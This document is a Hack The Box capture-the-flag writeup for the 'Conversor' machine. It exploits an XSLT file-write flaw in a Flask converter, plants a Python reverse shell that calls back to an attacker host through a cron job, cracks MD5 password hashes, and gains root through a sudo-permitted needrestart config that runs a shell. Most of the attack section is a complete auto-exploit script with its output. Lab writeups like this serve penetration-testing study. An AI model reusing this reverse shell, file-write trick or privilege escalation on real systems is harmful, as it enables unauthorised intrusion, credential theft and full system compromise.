Conversor - HTB Writeup

  • OS: Linux
  • Difficulty: Easy
  • Machine IP: 10.129.238.31
export IP=10.129.238.31

Reconnaissance

nmap -p- --open -sCV --min-rate 10000 -O 10.129.238.31
Starting Nmap 7.98 ( https://nmap.org ) at 2026-01-22 04:47 -0500
Nmap scan report for conversor.htb (10.129.238.31)
Host is up (0.34s latency).
Not shown: 65193 closed tcp ports (reset), 340 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 01:74:26:39:47:bc:6a:e2:cb:12:8b:71:84:9c:f8:5a (ECDSA)
|_  256 3a:16:90:dc:74:d8:e3:c4:51:36:e2:08:06:26:17:ee (ED25519)
80/tcp open  http    Apache httpd 2.4.52
| http-title: Login
|_Requested resource was /login
|_http-server-header: Apache/2.4.52 (Ubuntu)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 29.52 seconds
  • Ports open: [22, 80]

SSH + an Apache server running a flask application. Unfortunately neither of the versions of SSH/Apache were exploitable via known CVE’s, though the nmap scan did turn up with the domain conversor.htb so after adding that to /etc/hosts:
- Note: The scan above was done prior to solving the box, i used the flag --script vuln for my initial scan. Though it doesn’t make much of a difference and conversor.htb doesn’t show above simply because it’s already added in my /etc/hosts file.

echo $IP conversor.htb | sudo tee -a /etc/hosts

After a quick look through the site, we are able to download the source code. From a glance, the concept of the site is very simply, converting an XML file along with the XSLT sheet file to transform it into a more aesthetically pleasing format. It even provides a template to use from an XML output of an nmap scan. It took about 2 google searches for me to find the intended route of exploitation, to be honest. “XML XSLT Injection” -> PayloadAllTheThings repo from github -> Profit.

Didn’t even need to run any subdomain/directory brute forcing, no parameter fuzzing, nothing. Straight forward, and simple. Nice…

converter

Vulnerable area of the code

@app.route('/convert', methods=['POST'])
def convert():
    if 'user_id' not in session:
        return redirect(url_for('login'))
    xml_file = request.files['xml_file']
    xslt_file = request.files['xslt_file']
    from lxml import etree
    xml_path = os.path.join(UPLOAD_FOLDER, xml_file.filename)
    xslt_path = os.path.join(UPLOAD_FOLDER, xslt_file.filename)
    xml_file.save(xml_path)
    xslt_file.save(xslt_path)
    try:
        parser = etree.XMLParser(resolve_entities=False, no_network=True, dtd_validation=False, load_dtd=False)
        xml_tree = etree.parse(xml_path, parser)
        xslt_tree = etree.parse(xslt_path)
        transform = etree.XSLT(xslt_tree)
        result_tree = transform(xml_tree)
        result_html = str(result_tree)
        file_id = str(uuid.uuid4())
        filename = f"{file_id}.html"
        html_path = os.path.join(UPLOAD_FOLDER, filename)
        with open(html_path, "w") as f:
            f.write(result_html)
        conn = get_db()
        conn.execute("INSERT INTO files (id,user_id,filename) VALUES (?,?,?)", (file_id, session['user_id'], filename))
        conn.commit()
        conn.close()
        return redirect(url_for('index'))
    except Exception as e:
        return f"Error: {e}"

This code is vulnerable to XSLT/XXE Injection:

More specifically:

# XML parser has restrictions (but doesn't matter much)
parser = etree.XMLParser(resolve_entities=False, no_network=True, dtd_validation=False, load_dtd=False)
xml_tree = etree.parse(xml_path, parser)

# XSLT parser has NO restrictions! This is the vulnerability.
xslt_tree = etree.parse(xslt_path)  # <-- No secure parser!
transform = etree.XSLT(xslt_tree)

Initial Access as www-data

Machine is vulnerable to XSLT/XXE Injection, allowing us to write arbitrary files. Because of the cronjob script that runs all python scripts in the /cron directory every 60s, we simply write a reverse shell to get a shell as the user www-data then, from the source code we downloaded earlier, inspect instance/users.db and when dumping the .users table we get:

1|fismathack|5b5c3ac3a1c897c94caad48e6c71fdec
5|a|0cc175b9c0f1b6a831c399e269772661

After running this through hashid -m, it’s clear its a MD5 hash. I then used Crackstation to crack the hash giving me SSH access as the user fismathack with the password: Keepmesafeandwarm

cracked password

Literally first command I run we find the privilege escalation vector:

Logging in via SSH as fismathack

After running a few basic OS enumeration commands designed to search for privilege escalation vectors:

fismathack@conversor:~$ sudo -l
Matching Defaults entries for fismathack on conversor:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User fismathack may run the following commands on conversor:
    (ALL : ALL) NOPASSWD: /usr/sbin/needrestart

Nice…

Privilege Escalation

Lets take a look at what this script does:
(Most of the script was snipped except for the relevant part).

Vulnerable section of the needrestart script

#!/usr/bin/perl
[SNIP]...

# slurp config file
print STDERR "$LOGPREF eval $opt_c\n" if($nrconf{verbosity} > 1);
eval do {
    local $/;
    open my $fh, $opt_c or die "ERROR: $!\n";
    my $cfg = <$fh>;
    close($fh);
    $cfg;
};
die "Error parsing $opt_c: $@" if($@);

It’s a rather large script, so like any normal person… I pasted it into ChatGPT and asked wtf it does because I don’t know perl though it’s rather straight forward mostly. My assumption is that we specify some sort of config file that very simply calls exec with preserved privileges:

cat > exploit.conf << 'EOF'
exec "/bin/bash","-p";
EOF

Worked first try:

fismathack@conversor:~$ cat user.txt
[REDACTED]
fismathack@conversor:~$ echo -n 'exec "/bin/sh","-p";' > exploit.conf
fismathack@conversor:~$ sudo -l
Matching Defaults entries for fismathack on conversor:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User fismathack may run the following commands on conversor:
    (ALL : ALL) NOPASSWD: /usr/sbin/needrestart
fismathack@conversor:~$ sudo /usr/sbin/needrestart -c exploit.conf
# id
uid=0(root) gid=0(root) groups=0(root)
# cd /root
# cat root.txt
[REDACTED]

Too easy…

Fully automated exploitation using Python

  • It’s 5AM and i’m bored. So… this was the result after manually pwning the machine as it was rather easy.
#!/usr/bin/env python3
"""
conversor.htb - Full Auto-Pwn
"""

import requests
import socket
import threading
import hashlib
import time
import random
import string
import sys
import os

try:
    import paramiko
except ImportError:
    os.system("pip install paramiko -q")
    import paramiko

# ═══════════════════════════════════════════════════════════════════
# CONFIG
# ═══════════════════════════════════════════════════════════════════
TARGET = "http://conversor.htb"
TARGET_HOST = "conversor.htb"
LHOST = "10.10.14.147"
LPORT = 9001
ROCKYOU = "/usr/share/wordlists/rockyou.txt"
# only compute rainbow table on first run, then cache results in `/tmp` dir.
RAINBOW_CACHE = "/tmp/md5_rainbow.txt"
#random username/password
def rand(n=8):
    return ''.join(random.choices(string.ascii_lowercase, k=n))

def status(msg, lvl="*"):
    c = {"*": "\033[94m", "+": "\033[92m", "-": "\033[91m", "!": "\033[93m", "~": "\033[95m"}
    print(f"{c.get(lvl, '')}[{lvl}]\033[0m {msg}", flush=True)

def section(title):
    print(f"\n\033[96m{'═'*60}\n {title}\n{'═'*60}\033[0m", flush=True)

class Rainbow:
    def __init__(self):
        self.table = {}
        self.ready = False

    def load(self):
        if os.path.exists(RAINBOW_CACHE):
            with open(RAINBOW_CACHE, 'r') as f:
                for line in f:
                    if ':' in line:
                        h, p = line.strip().split(':', 1)
                        self.table[h] = p
        elif os.path.exists(ROCKYOU):
            with open(ROCKYOU, 'r', encoding='latin-1') as f:
                for line in f:
                    pwd = line.rstrip('\n\r')
                    self.table[hashlib.md5(pwd.encode('latin-1')).hexdigest()] = pwd
            with open(RAINBOW_CACHE, 'w') as f:
                for h, p in self.table.items():
                    f.write(f"{h}:{p}\n")
        self.ready = True

    def crack(self, h, timeout=120):
        start = time.time()
        while not self.ready and (time.time() - start) < timeout:
            time.sleep(0.5)
        return self.table.get(h.lower())

rainbow = Rainbow()

# ═══════════════════════════════════════════════════════════════════
# EXPLOIT
# ═══════════════════════════════════════════════════════════════════
class Exploit:
    def __init__(self):
        self.web = requests.Session()
        self.user = rand()
        self.pwd = rand()
        self.shell_name = f"{rand()}.py"
        self.shell = None
        self.shell_ready = threading.Event()
        self.ssh = None
        self.creds = []

    def register(self):
        status(f"Registering {self.user}:{self.pwd}")
        r = self.web.post(f"{TARGET}/register", data={"username": self.user, "password": self.pwd}, allow_redirects=False, timeout=10)
        if r.status_code == 302:
            status("Registered", "+")
            return True
        return False

    def login(self):
        status("Logging in...")
        r = self.web.post(f"{TARGET}/login", data={"username": self.user, "password": self.pwd}, allow_redirects=False, timeout=10)
        if r.status_code == 302:
            status("Got session", "+")
            return True
        return False

    def upload_shell(self):
        SHELL = f'''import socket,os,pty
s=socket.socket()
s.connect(("{LHOST}",{LPORT}))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
pty.spawn("/bin/bash")
'''
        XSLT = '''<?xml version="1.0"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/"><x/></xsl:template>
</xsl:stylesheet>'''

        status(f"Uploading ../scripts/{self.shell_name}")
        files = {
            'xml_file': (f'../scripts/{self.shell_name}', SHELL, 'application/octet-stream'),
            'xslt_file': ('v.xslt', XSLT, 'application/xslt+xml'),
        }
        r = self.web.post(f"{TARGET}/convert", files=files, timeout=10)
        status(f"Response: {r.text[:50]}", "+")
        return True

    def listen(self):
        def _listen():
            srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
            srv.bind(("0.0.0.0", LPORT))
            srv.listen(1)
            srv.settimeout(120)
            status(f"Listening on :{LPORT}")
            try:
                self.shell, addr = srv.accept()
                status(f"Shell from {addr[0]}", "+")
                self.shell_ready.set()
            except:
                pass
            srv.close()
        threading.Thread(target=_listen, daemon=True).start()
        time.sleep(0.5)

    def sh(self, cmd, timeout=5):
        if not self.shell: return ""
        try:
            self.shell.setblocking(0)
            try:
                while self.shell.recv(4096): pass
            except: pass
            self.shell.setblocking(1)
            self.shell.settimeout(timeout)

            self.shell.send(f"{cmd}\n".encode())
            time.sleep(0.5)

            out = b""
            while True:
                try:
                    out += self.shell.recv(4096)
                except:
                    break

            lines = out.decode(errors='ignore').split('\n')
            return '\n'.join(l.strip() for l in lines if l.strip() and not l.strip().endswith('$') and not l.strip().endswith('#') and cmd[:10] not in l)
        except:
            return ""

    def ssh_connect(self, user, pwd):
        status(f"SSH → {user}:{pwd}")
        try:
            self.ssh = paramiko.SSHClient()
            self.ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
            self.ssh.connect(TARGET_HOST, 22, user, pwd, timeout=10)
            status("SSH connected", "+")
            return True
        except Exception as e:
            status(f"SSH failed: {e}", "-")
            return False

    def ssh_exec(self, cmd):
        if not self.ssh: return ""
        _, out, err = self.ssh.exec_command(cmd, timeout=10)
        return (out.read() + err.read()).decode(errors='ignore').strip()

    def dump_and_crack(self):
        section("DATABASE DUMP & CRACK")
        out = self.sh('sqlite3 /var/www/conversor.htb/instance/users.db "SELECT id,username,password FROM users;"')

        print("─"*55)
        for line in out.split('\n'):
            if '|' not in line: continue
            parts = line.split('|')
            if len(parts) < 3: continue

            uid, user, h = parts[0].strip(), parts[1].strip(), parts[2].strip()
            if user == self.user: continue

            pwd = rainbow.crack(h)
            if pwd:
                print(f"  \033[92m{user:15}\033[0m | {h}\033[93m{pwd}\033[0m")
                self.creds.append((user, pwd))
            else:
                print(f"  {user:15} | {h} → ???")
        print("─"*55)

    def privesc(self):
        section("PRIVILEGE ESCALATION")

        sudo = self.ssh_exec("sudo -l")
        status(f"sudo -l output:\n{sudo}", "*")

        if "needrestart" not in sudo:
            status("needrestart not found", "-")
            return False

        status("Exploiting needrestart...", "+")

        # Create config
        self.ssh_exec('echo \'$nrconf{restart} = "a]"; exec "/bin/bash";\' > /tmp/pwn.conf')

        # Get root and flag via channel
        chan = self.ssh.invoke_shell()
        time.sleep(0.5)

        # Drain initial output
        while chan.recv_ready():
            chan.recv(4096)

        # Trigger privesc
        chan.send(b"sudo /usr/sbin/needrestart -c /tmp/pwn.conf\n")
        time.sleep(2)

        # Drain output
        while chan.recv_ready():
            chan.recv(4096)

        # Check root
        chan.send(b"id\n")
        time.sleep(1)

        out = b""
        while chan.recv_ready():
            out += chan.recv(4096)

        status(f"id output: {out.decode(errors='ignore')}", "*")

        if b"uid=0" not in out:
            status("Privesc failed", "-")
            chan.close()
            return False

        status("GOT ROOT!", "+")

        # Get root flag
        chan.send(b"cd /root && cat root.txt\n")
        time.sleep(1)

        out = b""
        while chan.recv_ready():
            out += chan.recv(4096)

        decoded = out.decode(errors='ignore')
        status(f"Raw output:\n{decoded}", "*")

        # Extract flag (32 hex chars)
        for line in decoded.split('\n'):
            line = line.strip()
            if len(line) == 32 and all(c in '0123456789abcdef' for c in line):
                status(f"ROOT FLAG: {line}", "+")
                chan.close()
                return True

        chan.close()
        return True

    def run(self):
        print("""\033[96m
╔═══════════════════════════════════════════════════════════════════╗
║              conversor.htb - Full Auto-Pwn                        ║
╚═══════════════════════════════════════════════════════════════════╝\033[0m""")

        # Rainbow table background
        threading.Thread(target=rainbow.load, daemon=True).start()

        section("PHASE 1: WEB AUTH")
        if not self.register() or not self.login():
            return

        section("PHASE 2: REVERSE SHELL")
        self.listen()
        self.upload_shell()

        status("Waiting for cron (max 120s)...", "!")
        if not self.shell_ready.wait(120):
            status("No callback", "-")
            return

        time.sleep(1)
        status(f"Shell as: {self.sh('whoami')}", "+")

        self.dump_and_crack()

        if not self.creds:
            status("No creds cracked", "-")
            return

        section("PHASE 3: SSH ACCESS")
        for user, pwd in self.creds:
            if self.ssh_connect(user, pwd):
                break
        else:
            return

        section("PHASE 4: FLAGS")
        user_flag = self.ssh_exec("cat ~/user.txt")
        status(f"USER FLAG: {user_flag}", "+")

        self.privesc()

        section("COMPLETE")
        status("Box pwned!", "+")


if __name__ == "__main__":
    try:
        Exploit().run()
    except KeyboardInterrupt:
        print("\n[!] Interrupted")

The script works as follows:

  • Because I already previously solved the box manually, I had used hashcat + crackstation (both worked quickly) to crack the MD5 hash. So, in the automation script, it immediately starts building a MD5 Rainbow hash table in the background using the threading library. This allows us to very quickly crack the hash from the database once retrieved.
    • Wordlist used: /usr/share/wordlists/rockyou.txt
  • Register account
  • Login using said credentials and get the session cookie
  • Upload python reverse shell using XSLT/XXE RFI (remote file inclusion, as we are able to easily write files at specified paths).
  • Wait for the cronjob to run (specified in the downloaded source code in install.md) -> Get a shell as www-data after starting a listener on the designated port. In this case, 9001.
  • Dump the database credentials and crack fismathacks hashed password using the pre-computed rainbow table (attempts to look for cached table in "/tmp/md5_rainbow.txt" before computing full during runtime each time).
  • Use the Cracked credentials (fismathacks:Keepmesafeandwarm) to SSH into the server and get the user.txt flag.
    8 Perform basic OS Enumeration for various privilege escalation vectors.
    • Observe the output of sudo -l and the NOPASSWD privilege granted to the /usr/sbin/needrestart perl script.
  • Write a malicious config file to easily escalate our privileges:
    • `echo -n ‘exec “/bin/bash”,”-p”’ > pwn.conf
  • Run the script with sudo privileges and escalate privileges to the root user. (-p will preserve privileges that the script is ran with, sudo in this case… thus the root shell).
  • Get the root flag from /root/root.txt.

Output:

└─$ python pwn.py

╔═══════════════════════════════════════════════════════════════════╗                                                                             conversor.htb - Full Auto-Pwn                                                                                       
╚═══════════════════════════════════════════════════════════════════╝                                                               

════════════════════════════════════════════════════════════
 PHASE 1: WEB AUTH                                                
════════════════════════════════════════════════════════════      
[*] Registering bmrkhgtl:jrvrojfx
[+] Registered
[*] Logging in...
[+] Got session

════════════════════════════════════════════════════════════
 PHASE 2: REVERSE SHELL                                           
════════════════════════════════════════════════════════════      
[*] Listening on :9001
[*] Uploading ../scripts/iuvcfuen.py
[+] Response: Error: Start tag expected, '<' not found, line 1, 
[!] Waiting for cron (max 120s)...
[+] Shell from 10.129.238.31
[+] Shell as: www-data

════════════════════════════════════════════════════════════
 DATABASE DUMP & CRACK                                            
════════════════════════════════════════════════════════════      
───────────────────────────────────────────────────────
  fismathack      | 5b5c3ac3a1c897c94caad48e6c71fdec  Keepmesafeandwarm                                                            
  a               | 0cc175b9c0f1b6a831c399e269772661  a
  hrrehuwl        | 9ae1c447cbe2a99e46fcf171305e4f0b  ???
  dobitcww        | e355352035712e2b2e8a4dd3b03bdd25  ???
  qfcszkok        | ca396ac3f59422738af32fad9ada3e9b  ???
───────────────────────────────────────────────────────

════════════════════════════════════════════════════════════
 PHASE 3: SSH ACCESS                                              
════════════════════════════════════════════════════════════      
[*] SSH  fismathack:Keepmesafeandwarm
[+] SSH connected

════════════════════════════════════════════════════════════
 PHASE 4: FLAGS                                                   
════════════════════════════════════════════════════════════      
[+] USER FLAG: [REDACTED]

════════════════════════════════════════════════════════════
 PRIVILEGE ESCALATION                                             
════════════════════════════════════════════════════════════      
[*] sudo -l output:
Matching Defaults entries for fismathack on conversor:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User fismathack may run the following commands on conversor:
    (ALL : ALL) NOPASSWD: /usr/sbin/needrestart
[+] Exploiting needrestart...
[*] id output: id
uid=0(root) gid=0(root) groups=0(root)
root@conversor:/home/fismathack# 
[+] GOT ROOT!
[*] Raw output:
cd /root && cat root.txt
[REDACTED]
root@conversor:~# 

════════════════════════════════════════════════════════════
 COMPLETE                                                         
════════════════════════════════════════════════════════════      
[+] Box pwned!